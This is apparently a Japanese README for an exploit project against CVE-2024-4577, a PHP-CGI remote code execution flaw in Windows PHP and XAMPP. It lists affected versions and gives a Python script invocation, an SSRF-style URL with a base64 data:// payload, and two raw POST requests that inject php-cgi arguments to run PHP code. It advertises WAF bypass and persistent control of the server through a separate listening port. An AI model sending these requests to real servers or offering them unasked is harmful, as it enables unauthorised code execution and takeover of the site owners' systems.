CVE-2024-4577-PHP-RCE

プロジェクト概要と原理

• グローバル初のPHPデフォルト環境（XAMPP）を利用したCVE-2024-4577 PHP-CGI RCE脆弱性のエクスプロイト。
• 世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。デフォルトのPHP環境を利用。オリジナルのエクスプロイトを共有し、SSRFをサポート、WAFバイパスをサポート。
• PHPデフォルト環境でRCEを実現。原理：cgi.force_redirect + REDIRECT-STATUS。
• 新規オリジナルEXP、WAFバイパスシナリオに対応した手法を追加。原理：FastCGIサーバーの構築 + FastCGIプロトコル通信。
• 新規オリジナルEXP、SSRFシナリオに対応した手法を追加。原理：data://プロトコル + GETリクエスト。

EXP 1 の利点

• allow_url_include、auto_prepend_file、auto_append_file を必要とせずにRCEが可能。任意のファイルやPHPファイルをインクルードできます。
• WAFが頻繁にブロックするキーワード allow_url_include、auto_prepend_file、auto_append_file が出現しません。
• FastCGIサーバーのすべての通信はWAFに記録されません。
• 新しいポートをリッスンするため、ApacheやPHPから独立してPHPサーバーを永続的に制御できます。

脆弱性の概要

影響を受けるバージョン

• PHP Windows版 8.3.0 <= 影響範囲 < 8.3.8
• PHP Windows版 8.2.0 <= 影響範囲 < 8.2.20
• PHP Windows版 8.1.0 <= 影響範囲 < 8.1.29
• PHP Windows版 影響範囲 == 8.0.x
• PHP Windows版 影響範囲 == 7.x
• PHP Windows版 影響範囲 == 5.x
• XAMPP Windows版 8.2.0 <= 影響範囲 <= 8.2.12
• XAMPP Windows版 8.1.0 <= 影響範囲 <= 8.1.25
• XAMPP Windows版 影響範囲 == 8.0.x
• XAMPP Windows版 影響範囲 == 7.x
• XAMPP Windows版 影響範囲 == 5.x

EXP 1

WAFバイパスシナリオ + デフォルトシナリオで使用可能：

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例：

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

SSRFシナリオ + デフォルトシナリオで使用可能：

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

デフォルトシナリオで使用可能：

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

デフォルトシナリオで使用可能：

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

再現手順

1. サーバー側環境：

XAMPP Windows版 8.2.12

2. サーバー側でXAMPPをダウンロードしてインストール：

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

または、こちらから影響を受けるバージョンを選択してください：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. サーバー側の設定

変更は不要。デフォルト設定のまま

4. クライアント側でEXPを使用

上記のEXPを使用してテスト

5. 検証

文字列 "TesT" またはサーバーの system.ini ファイルの内容が返されるか確認